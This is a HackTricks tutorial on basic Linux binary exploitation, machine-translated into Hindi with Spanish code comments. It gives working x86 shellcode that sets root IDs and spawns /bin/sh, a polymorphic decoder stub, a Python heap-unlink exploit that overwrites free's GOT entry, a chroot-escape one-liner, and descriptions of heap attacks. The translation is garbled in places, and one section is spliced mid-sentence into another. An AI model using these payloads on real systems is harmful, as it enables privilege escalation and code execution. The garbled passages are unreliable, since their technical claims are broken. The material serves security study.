45 KiB
लिनक्स एक्सप्लॉइटिंग (मूल) (SPA)
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall
nasm -f elf assembly.asm —> हमें एक .o फ़ाइल देता है
ld assembly.o -o shellcodeout —> हमें एक एक्जीक्यूटेबल देता है जिसमें असेम्बली कोड होता है और हम ऑपकोड्स को objdump के साथ निकाल सकते हैं
objdump -d -Mintel ./shellcodeout —> यह देखने के लिए कि यह वास्तव में हमारी शेलकोड है और ऑपकोड्स निकालने के लिए
जांचें कि शेलकोड काम करता है
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
यह देखने के लिए कि सिस्टम कॉल सही ढंग से हो रहे हैं, पिछले प्रोग्राम को कंपाइल करना चाहिए और सिस्टम कॉल strace ./कंपाइल किया गया प्रोग्राम में दिखना चाहिए।
शैलकोड बनाने के समय एक चाल लिया जा सकता है। पहला निर्देश एक कॉल को जम्प करना है। कॉल मूल कोड को बुलाता है और साथ ही EIP को स्टैक में डालता है। कॉल के निर्देश के बाद, हमने उस स्ट्रिंग को डाल दिया है जिसकी हमें आवश्यकता थी, इसलिए उस EIP के साथ हम स्ट्रिंग को निशानित कर सकते हैं और साथ ही कोड को जारी रख सकते हैं।
उदाहरण चाल (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
/bin/sh का उपयोग करके ईजे:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
अंडा हंटर:
यह एक छोटा सा कोड है जो एक प्रक्रिया से जुड़ी मेमोरी पेजों को दौड़ता है और वहाँ संग्रहित शेलकोड की खोज करता है (शेलकोड में डाली गई कोई हस्ताक्षर खोजता है)। कोड इंजेक्ट करने के लिए केवल एक छोटे स्थान के मामलों में उपयुक्त।
पॉलिमॉर्फिक शेलकोड
ये एन्क्रिप्टेड शेल्स हैं जिनमें एक छोटा कोड होता है जो उन्हें डिक्रिप्ट करता है और उस पर जाता है, Call-Pop ट्रिक का उपयोग करते हुए यह एक सीज़र एन्क्रिप्टेड उदाहरण होगा:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. अतिरिक्त तकनीकें
मुराट तकनीक
लिनक्स में सभी प्रोग्राम 0xbfffffff से मैप होते हैं।
लिनक्स में एक नए प्रक्रिया के स्टैक को कैसे बनाया जाता है देखकर, एक एक्सप्लॉइट विकसित किया जा सकता है ताकि प्रोग्राम एक वातानुक्रमिक मात्रा के वातानुक्रमिक में आरंभ किया जाए। इसका पता इस प्रकार लगाया जा सकता है: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
इस तरह से, शेलकोड के साथ वातानुक्रमिक में चर की स्थिति को आसानी से प्राप्त की जा सकती है।
यह कारण है कि execle फ़ंक्शन एक वातानुक्रमिक बनाने की अनुमति देता है जिसमें केवल वे वातानुक्रमिक चाहिए जो चाहिए।
फॉर्मेट स्ट्रिंग्स से बफर ओवरफ्लो
sprintf एक फॉर्मेटेड स्ट्रिंग को एक चर में ले जाता है। इसलिए, आप एक स्ट्रिंग के फॉर्मेटिंग का दुरुपयोग करके उस चर में बफर ओवरफ्लो का कारण बना सकते हैं जहां सामग्री कॉपी की जाती है।
उदाहरण के लिए, पेलोड %.44xAAAA
चर में 44B+"AAAA" लिखेगा, जो एक बफर ओवरफ्लो का कारण बना सकता है।
__atexit संरचनाएँ
{% hint style="danger" %} आजकल इसे एक्सप्लॉइट करना बहुत अजीब है। {% endhint %}
atexit()
एक फ़ंक्शन है जिसमें अन्य फ़ंक्शनों को पैरामीटर के रूप में पास किया जाता है। ये फ़ंक्शन एक exit()
या मुख्य के वापसी को निष्पादित करेंगे।
यदि आप किसी भी इन फ़ंक्शनों के पते को एक शेलकोड की ओर इशारा करने के लिए संशोधित कर सकते हैं, तो आप प्रक्रिया का नियंत्रण प्राप्त करेंगे, लेकिन यह वर्तमान में अधिक जटिल है।
वर्तमान में निष्क्रिय किए गए फ़ंक्शनों के पते कई संरचनाओं के पीछे छिपे होते हैं और अंत में जिन पतों की ओर इशारा किया जाता है, वे फ़ंक्शनों के पतों नहीं होते हैं, बल्कि XOR और एक रैंडम कुंजी के साथ एन्क्रिप्टेड होते हैं। इसलिए वर्तमान में यह हमला वेक्टर कम उपयोगी है कम से कम x86 और x64_86 पर।
एन्क्रिप्शन फ़ंक्शन PTR_MANGLE
है। अन्य आर्किटेक्चर जैसे m68k, mips32, mips64, aarch64, arm, hppa... एन्क्रिप्शन फ़ंक्शन को नहीं लागू करते क्योंकि यह उसे जो भी इनपुट मिला वही वापस करता है। इसलिए इन आर्किटेक्चर्स पर यह वेक्टर पर हमला किया जा सकता है।
setjmp() & longjmp()
{% hint style="danger" %} आजकल इसे एक्सप्लॉइट करना बहुत अजीब है। {% endhint %}
Setjmp()
को संदर्भ (रजिस्टर) को बचाने की अनुमति देता है।
longjmp()
को संदर्भ (रजिस्टर) को पुनर्स्थापित करने की अनुमति देता है।
बचाए गए रजिस्टर हैं: EBX, ESI, EDI, ESP, EIP, EBP
यह है कि EIP और ESP PTR_MANGLE
फ़ंक्शन द्वारा पारित किए जाते हैं, इसलिए इस हमले के लिए विकल्पशील आर्किटेक्चर उपरोक्त हैं।
ये त्रुटि सुधार या अंतर्रुप्तियों के लिए उपयोगी हैं।
हालांकि, जितना मैंने पढ़ा है, अन्य रजिस्टर सुरक्षित नहीं हैं, तो यदि फ़ंक्शन के भीतर call ebx
, call esi
या call edi
है, तो नियंत्रण पर किया जा सकता है। या आप यह भी कर सकते हैं कि EBP को संशोधित करके ESP को संशोधित करें।
C++ में VTable और VPTR
प्रत्येक क्लास के पास एक Vtable होती है जो मेथड्स के पॉइंटर्स का एक एरे है।
प्रत्येक क्लास का एक VPtr होता है जो उसकी क्लास के एरे का पॉइंटर होता है। VPtr प्रत्येक ऑब्जेक्ट के हेडर का हिस्सा है, इसलिए यदि VPtr का अधिकार प्राप्त किया जाता है तो उसे संशोधित किया जा सकता है ताकि किसी फ़ंक्शन को निष्पादित करने पर शेलकोड में जाए।
रोकथाम और टालने के उपाय
लिबसेफ की जगह
इसे सक्रिय किया जाता है: LD_PRELOAD=/lib/libsafe.so.2
या
“/lib/libsave.so.2” > /etc/ld.so.preload
कुछ असुरक्षित फ़ंक्शनों को कुछ सुरक्षित फ़ंक्शनों से अंतर्गत कर दिया जाता है। यह मानकीकृत नहीं है। (केवल x86 के लिए, -fomit-frame-pointer के साथ नहीं, स्थैतिक कंपाइलेशन के साथ नहीं, सभी असुरक्षित फ़ंक्शन सुरक्षित नहीं बनते हैं और LD_PRELOAD सुइड वाले बाइनरी में काम नहीं करता है)।
एएससीआई आर्मर्ड एड्रेस स्पेस
यह 0x00000000 से 0x00ffffff तक साझा पुस्तकालयों को लोड करने का कारण है ताकि हमेशा एक 0x00 बाइट हो। हालांकि, यह वास्तव में किसी भी हमले को मुख्य रूप से नहीं रोकता, और कम लिटिल इंडियन में।
ret2plt
इसमें एक ROP किया जाता है ताकि plt की strcpy@plt फ़ंक्शन को बुलाया जाए और GOT के प्रवेश पर इशारा किया जाए और वहां से जिस फ़ंक्शन को बुलाना चाहिए (system()) का पहला बाइट कॉपी किया जाए। इसके बाद यही कार्य किया जाता है GOT+1 पर इशारा करके और system() का 2वां बाइट कॉपी किया जाता है... अंत में GOT में सहेजी गई पता को बुलाया जाता है जो system() होगा।
chroot() के साथ जेल
debootstrap -arch=i386 hardy /home/user —> एक विशिष्ट उपनिर्देशिका के तहत एक बुनियादी सिस्टम स्थापित करता है।
एक व्यवस्थापक इन जेलों में से एक से बाहर निकल सकता है: mkdir foo; chroot foo; cd ..
कोड का उपकरण
Valgrind —> त्रुटियों की खोज करता है
Memcheck
RAD (Return Address Defender)
Insure++
8 हीप ओवरफ्लो: मूल एक्सप्लॉइट्स
आवंटित खंड
पिछला_आकार |
आकार | —हेडर
*मेम | डेटा
फ्री खंड
पिछला_आकार |
आकार |
*fd | प्वाइंटर फॉरवर्ड चंक
*bk | प्वाइंटर बैक चंक —हेडर
*मेम | डेटा
फ्री खंड एक डबल लिंक्ड लिस्ट में होते हैं (बिन) और कभी भी दो फ्री खंड एक साथ नहीं हो सकते (वे मिल जाते हैं)
"आकार" में बिट होते हैं जो इंडिकेट करते हैं: यदि पिछला खंड इस्तेमाल में है, यदि खंड mmap() के माध्यम से आवंटित किया गया है और यदि खंड प्राथमिक जब unlink() को कॉल किया जाता है, तो P->fd के रूप में दूसरे टुकड़े के पहले डेटा का उपयोग किया जाएगा, जिसमें उस पते को ओवरराइट किया जाएगा - 12 (क्योंकि FD->bk में FD में सहेजे गए पते में 12 को जोड़ देगा)। और उस पते में दूसरा पता डाला जाएगा जो दूसरे टुकड़े में मिलता है, जिसे हमें शेलकोड (P->bk नकली) का पता होना चाहिए।
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes की भराई
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #पिछले टुकड़े में खाली होने का बिट 1 होना चाहिए
fake_size = pack("<I”, 0xfffffffc) #-4, ताकि 3 वें टुकड़े का "साइज" 4 बाइट पीछे है (पिछले_साइज की ओर देखता है कि क्या 2 वें टुकड़ा खाली है)
addr_sc = pack("<I", 0x0804a008 + 8) #पेलोड में शुरुआत में हमने 8 बाइट भराई हैं
got_free = pack("<I", 0x08048300 - 12) #free() का पता plt-12 (यह पता ओवरराइट किया जाएगा ताकि free को दूसरी बार कॉल करने पर शेलकोड चलाया जाए)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # जैसा कि कहा गया था, पेलोड 8 बाइट भराई के साथ शुरू होती है क्योंकि
payload += prev_size + fake_size + got_free + addr_sc #2 वें टुकड़े को संशोधित किया जाता है, got_free उस जगह की ओर इशारा करता है जहां हम पता addr_sc + 12 को सहेजेंगे
os.system("./8.3.o " + payload)
unset() उलटी दिशा में मुक्त करते हुए (wargame)
हम 3 लगातार टुकड़ों को नियंत्रित कर रहे हैं और उन्हें उनके आरक्षित क्रम में मुक्त किया जाता है।
इस मामले में:
चंक c में शेलकोड डाला जाता है
चंक a का उपयोग b को ओवरराइट करने के लिए किया जाता है ताकि साइज का पिछला इस्तेमाल किया गया बिट निष्क्रिय हो जाए ताकि चंक a खाली है यह सोचेगा।
इसके अतिरिक्त, हेडर b में साइज को -4 के रूप में ओवरराइट किया जाता है।
इसलिए, प्रोग्राम "a" को एक बिन में मानेगा और इसे अनलिंक() को अनलिंक करने के लिए कहेगा। हालांकि, क्योंकि हेडर पिछला_साइज -4 है। यह सोचेगा कि "a" का टुकड़ा वास्तव में b+4 से शुरू हो रहा है। अर्थात, यह b+4 से शुरू होने वाले टुकड़े को अनलिंक() करेगा, इसलिए b+12 में पॉइंटर "fd" होगा और b+16 में पॉइंटर "bk" होगा।
इस तरह, यदि हम bk में शेलकोड का पता और fd में "puts()" के लिए पता -12 डालते हैं, तो हमारे पास पेलोड होता है।
फ्रंटलिंक तकनीक
जब कुछ मुक्त किया जाता है और उसके कोई भी पड़ोसी टुकड़े मुक्त नहीं हैं, तो unlink() को नहीं बुलाया जाता है, बल्कि सीधे frontlink() को बुलाया जाता है।
उस समय उपयोगी दोष जब malloc जिस पर हमला किया जाता है कभी मुक्त नहीं होता (free())।
आवश्यकता है:
एक बफर जिसे डेटा इनपुट करने के लिए ओवरफ्लो किया जा सकता है
इसके साथ एक संयुक्त बफर जो मुक्त किया जाना है और जिसके हेडर का फील्ड fd उसके पिछले बफर के ओवरफ्लो के कारण संशोधित किया जाएगा
512 से अधिक लेकिन पिछले बफर से कम आकार वाला एक बफर मुक्त करने के लिए
इसके अतिरिक्त, इसके पिछले चरण में घोषित करने के लिए एक बफर जो इसके prev_size को संशोधित करने की अनुमति देता है
इस तरह दो mallocs को अनियंत्रित रूप से ओवरराइड करने और एक केवल नियंत्रित रूप से मुक्त करने के लिए एक एक्सप्लॉइट किया जा सकता है। दूसरे खंड में और पहले के कारण हम prev_size को एक jump 0x0c के साथ ओवरराइट करते हैं और size को कुछ ऐसा करते हैं कि -> NON_MAIN_ARENA को सक्रिय करें।
इसके बाद खंड 2 में हम बहुत सारे nops डालते हैं और अंत में शेलकोड डालते हैं।
इस तरह, _int_free(TROZO1, TROZO2) को बुलाया जाएगा और यह __DTOR_END__ में TROZO2 के prev_size का पता लगाने के लिए निर्देशों का पालन करेगा जो शेलकोड पर जाएगा।
इस तकनीक को लागू करने के लिए कुछ अधिक आवश्यकताएं पूरी होनी चाहिए जो पेलोड को थोड़ा और जटिल बना देती हैं।
यह तकनीक अब लागू नहीं है क्योंकि उन्लिंक के लिए लगभग एक ही पैच लागू किया गया था। यह तुलना करता है कि नए स्थान को जिसे निशानित किया जा रहा है, उसके पास भी उसी को निशानित किया जा रहा है।
Fastbin
यह The house of mind का एक वेरिएंट है।
हमें निम्नलिखित कोड को निष्पादित करने की इच्छा है जिसे हम पहुंचते हैं जब _int_free() के पहले की जांच पारित होती है।
fb = &(av->fastbins[fastbin_index(size)] —> जो fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
इस तरह, यदि "fb" में एक फ़ंक्शन का पता है, तो इस पते पर ओवरराइट किया जाएगा। इसके लिए आवश्यक है कि एरिना dtors के पतों के निकट हो। अधिक सटीकता से कहें तो av->max_fast उस पते पर होना चाहिए जिसे हम ओवरराइट करने जा रहे हैं।
The House of Mind के साथ हमने देखा कि हम एवी की स्थिति को नियंत्रित करते थे।
इसलिए यदि हम size फ़ील्ड में 8 + NON_MAIN_ARENA + PREV_INUSE डालते हैं -> fastbin_index() हमें fastbins[-1] देगा, जो av->max_fast को निशानित करेगा।
इस मामले में av->max_fast ओवरराइट होगा (निशानित नहीं, बल्कि यह स्थान ओवरराइट होगा)।
इसके अतिरिक्त, उसी जगह पर उस टुकड़े का आकार 8 से अधिक होना चाहिए जिसे मुक्त किया गया है -> हमने कहा कि टुकड़े का आकार 8 है, इस झूठे टुकड़े में हमें बस 8 से अधिक आकार डालना है (और क्योंकि शेलकोड उस टुकड़े में जाएगा, हमें पहले एक जम्प डालना होगा जो नॉप्स में गिरेगा)।
इसके अतिरिक्त, उसी झूठे टुकड़े का av->system_mem से कम होना चाहिए। av->system_mem 1848 बाइट दूर है।
_DTOR_END_ के नल्स के कारण और GOT में कुछ ही पतों के कारण, इन सेक्शनों का कोई पता ओवरराइट करने के लिए उपयुक्त नहीं है, इसलिए चलिए देखते हैं कि पाइला हमले के लिए fastbin को कैसे लागू किया जाए।
एक और हमले का तरीका है av को पाइले की ओर पुनर्दिशा करना।
यदि हम size को 8 की बजाय 16 कर देते हैं तो: fastbin_index() हमें fastbins[0] देगा और हम इसका उपयोग पाइले को ओवरराइट करने के लिए कर सकते हैं।
इसके लिए पाइले में कोई कैनरी या अजीब मानक नहीं होना चाहिए, वास्तव में हमें इसमें होना चाहिए: 4 बाइट नल + EBP + RET
4 बाइट नल की आवश्यकता है क्योंकि av इस पते पर होगा और av का पहला तत्व वह mutex है जो 0 होना चाहिए।
av->max_fast EBP होगा और यह हमें प्रतिबंधों को छलने के लिए एक मूल्य प्रदान करेगा।
av->fastbins[0] पर p का पता ओवरराइट किया जाएगा और यह RET होगा, इस तरह शेलकोड पर जाएगा।
इसके अतिरिक्त, av->system_mem (पाइले में स्थिति से 1484 बाइट ऊपर) में काफी कचरा होगा जो हमें उस जांच को छलने की अनुमति देगा जो की जाती है।
इसके अतिरिक्त, मुक्त किए गए टुकड़े के संगत टुकड़े का आकार 8 से अधिक होना चाहिए -> हमने कहा कि मुक्त किए गए टुकड़े का आकार 16 है, इस झूठे टुकड़े में हमें बस 8 से अधिक आकार डालना है (और क्योंकि शेलकोड उस टुकड़े में जाएगा, हमें पहले एक जम्प डालना होगा जो नॉप्स के बाद नए झूठे टुकड़े के आकार के फ़ील्ड के बाद गिरेगा)।
The House of Spirit
इस मामले में हमें एक malloc के पॉइंटर को अल्टर करने की इच्छा है जो हमले करने वाले द्वारा बदला जा सके (उदाहरण के लिए, एक ओवरफ़्लो के नीचे स्टैक पर पॉइंटर हो)।
इस तरह, हम इस पॉइंटर को कहीं भी निशानित कर सकते हैं। हालांकि, हर जगह वैध नहीं है, झूठे टुकड़े का आकार av->max_fast से कम होना चाहिए और विशेष रूप से एक भविष्य के malloc() कॉल में मांगे गए आकार के बराबर होना चाहिए। इसलिए, यदि हम जानते हैं कि इस पॉइंटर के नीचे malloc(40) को कॉल किया जाएगा, तो झूठे टुकड़े का आकार 48 के बराबर होना चाहिए।
उदाहरण के लिए, यदि प्रोग्राम उपयोगकर्ता से एक संख्या पूछता है, तो हम 48 डाल सकते हैं और malloc के विन्यास के अगले 4 बाइटों को निशानित कर सकते हैं (जो EBP के हिस्से हो सकते हैं, इस तरह 48 पीछे रह जाता है, जैसे कि यह आकार है)। इसके अतिरिक्त, ptr-4+48 पता करने के लिए कई शर्तों को पूरा करना चाहिए (इस मामले में ptr=EBP है), अर्थात, 8 < ptr-4+48 < av->system_mem।
यदि यह पूरा होता है, तो जब अगली malloc() को कहा जाएगा जिसे हमने कहा कि यह malloc(40) है, तो उसे EBP का पता दिया जाएगा। यदि हमले करने वाला भी इस malloc में लिखने का नियंत्रण रख सकता है, तो वह EBP और EIP दोनों को उस पते पर ओवरराइट कर सकता है।
यह इसलिए है क्योंकि इस तरह, जब उसे मुक्त किया जाएगा free() तो यह निर्धारित करेगा कि स्टैक के EBP को निशानित करने वाले पते पर एक टुकड़ा है जो नए malloc() के लिए सही आकार का है, इसलिए वह उस पते को निशानित करेगा।
The House of Force
आवश्यक है:
- एक टुकड़े को ओवरफ़्लो करने के लिए एक ओवरफ़्लो
- उपयोगकर्ता द्वारा परिभाषित आकार के साथ malloc() को कॉल करना
- उपयोगकर्ता द्वारा परिभाषित डेटा के साथ malloc() को कॉल करना
पहली चीज जो की जाती है, विल्डर्नेस के टुकड यदि बिन में एक टुकड़ा है जिसका आकार मांगे गए आकार के लिए उपयुक्त है, तो उसे उसके बाद अनलॉक करने के बाद वापस दिया जाता है:
bck = victim->bk; पिछले टुकड़े की ओर इशारा करता है, यह हमें बदल सकने की एकमात्र जानकारी है।
bin->bk = bck; दूसरे टुकड़े को अंतिम बनाने के लिए, यदि bck स्टैक को इशारा करता है, तो अगले आरक्षित टुकड़े को इस पते पर दिया जाएगा
bck->fd = bin; इसे बंद करके सूची को बिन करना, जिसे यह bin की ओर इशारा करेगा
आवश्यकता है:
दो malloc आरक्षित किए जाने चाहिए, ताकि पहले पर overflow किया जा सके जब दूसरा उसके bin में डाल दिया गया हो (अर्थात, overflow किए जाने से पहले दूसरे टुकड़े से अधिक malloc किया गया हो)
हमलावर द्वारा चयनित पते वाले malloc को नियंत्रित किया जाना चाहिए।
लक्ष्य यह है, यदि हम एक हीप पर एक हीप को ओवरफ्लो कर सकते हैं जिसके नीचे एक पहले से ही उपयुक्त टुकड़ा है और उसके bin में है, तो हम उसका पॉइंटर bk बदल सकते हैं। यदि हम उसका पॉइंटर bk बदल देते हैं और यह टुकड़ा बिन की सूची का पहला टुकड़ा बन जाता है और उसे आरक्षित किया जाता है, तो बिन को धोखा दिया जाएगा और उसे बताया जाएगा कि सूची का अंतिम टुकड़ा (अगला प्रस्तावित) उस गलत पते पर है जिसे हमने डाला है (उदाहरण के लिए स्टैक या GOT)। इसलिए यदि एक और टुकड़ा आरक्षित किया जाता है और हमलावर के पास इसमें अनुमति है, तो उसे वांछित स्थान पर एक टुकड़ा दिया जाएगा और उसमें लिखा जा सकेगा।
संशोधित टुकड़ा मुक्त करने के बाद उसे मुक्त किए गए टुकड़े से अधिक एक टुकड़ा आरक्षित किया जाना चाहिए, इस प्रकार संशोधित टुकड़ा अनसॉर्टेड बिन से बाहर निकल जाएगा और उसके बिन में डाला जाएगा।
एक बार उसके बिन में होने के बाद, उसके पॉइंटर bk को ओवरफ्लो करके उसे संशोधित करने का समय है ताकि वह हमें लिखने के लिए उस पते पर इशारा करे।
इस प्रकार बिन को उम्मीद करना होगा कि malloc() को पुकारने के लिए पर्याप्त समय तक प्रतीक्षा करनी पड़ेगी ताकि संशोधित बिन का उपयोग फिर से किया जाए और बिन को धोखा देने के लिए उसे यकीन दिलाया जाए कि अगला टुकड़ा गलत पते पर है। और उसके बाद हमें चाहिए वह टुकड़ा।
इस हमले को जल्द से जल्द चलाने के लिए सबसे अच्छा होगा: वंशीय टुकड़ा आरक्षित करना, संशोधित किया गया टुकड़ा आरक्षित करना, यह टुकड़ा मुक्त करना, उससे अधिक एक टुकड़ा आरक्षित करना, टुकड़ा संशोधित करना (कमजोरी), वंशीय टुकड़ा आरक्षित करना, और एक दूसरा टुकड़ा आरक्षित करना जिसका आकार वंशीय टुकड़े के बराबर हो और यह वह होगा जो चयनित पते पर इशारा करेगा।
इस हमले को सुरक्षित करने के लिए एक सामान्य जांच का उपयोग किया गया है कि टुकड़ा "गलत" नहीं है: यह जांचा जाता है कि bck->fd victim को इशारा कर रहा है। अर्थात, हमारे मामले में यदि स्टैक में इशारा किए गए गलत टुकड़े का fd* पीड़ित को इशारा कर रहा है। इस सुरक्षा को छलने के लिए हमलावर को किसी तरह से लिखने की क्षमता होनी चाहिए (संभावित रूप से स्टैक के माध्यम से) उचित पते पर victim का पता लिखने के लिए। ताकि ऐसा लगे कि एक सही टुकड़ा है।
बड़े बिन कोरप्शन
पहले की तरह यहाँ भी एक बार बिन का पॉइंटर bk संशोधित करने की आवश्यकता है, और सभी वही कॉल्स की आवश्यकता है, लेकिन इसके अतिरिक्त, आरक्षित टुकड़े 512 से अधिक होने चाहिए।
हमला पिछले जैसा है, अर्थात, पॉइंटर bk को संशोधित करने की आवश्यकता है और सभी वही कॉल्स की आवश्यकता है, लेकिन इसके अतिरिक्त, संशोधित टुकड़े का आकार इस प्रकार संशोधित किया जाना चाहिए कि वह size - nb < MINSIZE हो।
उदाहरण के लिए, 1552 का आकार रखना होगा ताकि 1552 - 1544 = 8 < MINSIZE हो (यहाँ एक असाइन किया गया अवैध का तुलनात्मक होता है)
इसके अतिरिक्त, इसे और अधिक कठिन बनाने के लिए एक पैच भी दिया गया है।
हीप स्प्रेइंग
मूल रूप से हीप के लिए संभावनी सभी स्मृति को आरक्षित करने और इन्हें एक नॉप्स के एक तकिये से भरने का काम है। इसके अतिरिक्त, एक तकिये के रूप में 0x0c का उपयोग किया जाता है। इसलिए कोशिश की जाएगी कि 0x0c0c0c0c पते पर उछाला लगाया जाए, और इस प्रकार यदि किसी पते को इस तकिये से ओवरराइट किया जाता है जिसे इसके साथ बुलाया जाएगा, तो वहां उछाल लगाया जाएगा। मूल रूप से यह योजना है कि कितना संभावनी है कि कोई पॉइंटर ओवरराइट हो और 0x0c0c0c0c पर उछाल लगाया जाए जिससे उम्मीद है कि वहां नॉप्स होंगे।
हीप फेंग शुई
यह उसे बनाने के लिए है कि रिजर्वेशन और रिलीजेशन के माध्यम से मेमोरी को बोना जाए ताकि खाली टुकड़े के बीच आरक्षित टुकड़े बचे रहें। ओवरफ्लो करने वाला बफर उनमें से एक में स्थित होगा।